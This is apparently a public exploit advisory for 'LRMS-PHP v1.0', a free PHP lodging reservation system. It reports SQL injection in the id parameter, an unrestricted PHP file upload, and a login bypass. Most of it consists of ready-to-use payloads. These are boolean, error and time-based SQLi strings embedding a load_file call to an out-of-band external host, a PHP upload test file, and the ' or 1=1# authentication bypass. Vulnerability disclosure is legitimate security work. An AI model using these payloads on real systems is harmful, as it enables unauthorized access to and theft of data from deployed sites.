## Titles: LRMS-PHP-by-oretnom23-v1.0 hat-trick
1. Multiple-SQLi
2. File Upload
3. SQLi Bypass Authentication:
## Latest update from the vendor: 5 hours 32 minutes ago
## Author: nu11secur1ty
## Date: 04/17/2024
## Vendor: https://github.com/oretnom23
## Software: https://www.sourcecodester.com/php/14883/lodging-reservation-management-system-php-free-source-code.html
## Reference: https://portswigger.net/web-security/sql-injection, https://portswigger.net/web-security/file-upload, https://portswigger.net/web-security/authentication
## Description:
SQLi: The id parameter appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\\\od5r0eqq0cjgsi6rj3zmuytae1ku8kwbzzqmha6.stupid.com\\fsb'))+' was submitted in the id parameter. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed.The attacker can get all information from the system by using this vulnerability!
STATUS: HIGH- Vulnerability
---------------------------------------------------------------------------------------------------------------------------------------
FU:
Using this vulnerability, the attacker can upload any PHP file on the server.
The parameter id="cimg" is not sanitizing securely.
STATUS: CRITICAL- Vulnerability
---------------------------------------------------------------------------------------------------------------------------------------
SQLi-Bypass-Authentication:
The attacker can bypass the admin login form and login to the system by using this vulnerability.
The parameter username is not sanitized securely.
STATUS: CRITICAL- Vulnerability
[+]Exploits:
- SQLi Multiple:
```mysql
---
Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: page=view_room&id=c81e728d9d4c2f636f067f89cc14862c'+(select load_file('\\\\od5r0eqq0cjgsi6rj3zmuytae1ku8kwbzzqmha6.oastify.com\\fsb'))+'' OR NOT 5694=5694 AND 'FJxl'='FJxl
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: page=view_room&id=c81e728d9d4c2f636f067f89cc14862c'+(select load_file('\\\\od5r0eqq0cjgsi6rj3zmuytae1ku8kwbzzqmha6.oastify.com\\fsb'))+'' OR (SELECT 7377 FROM(SELECT COUNT(*),CONCAT(0x7178787a71,(SELECT (ELT(7377=7377,1))),0x7176787171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'GMnz'='GMnz
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: page=view_room&id=c81e728d9d4c2f636f067f89cc14862c'+(select load_file('\\\\od5r0eqq0cjgsi6rj3zmuytae1ku8kwbzzqmha6.oastify.com\\fsb'))+'' AND (SELECT 4559 FROM (SELECT(SLEEP(7)))zROX) AND 'HxzI'='HxzI
---
```
- FU:
```
<?php
phpinfo();
?>
```
- SQLi - Bypass-Authentication:
```
username: nu11secur1ty' or 1=1#
password: blank
```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/%20hat-trick/LRMS-PHP-by-oretnom23-v1.0)
## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2024/04/lrms-php-by-oretnom23-v10-hat-trick.html)
## Time spent:
01:35:00
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http://nu11secur1ty.com/>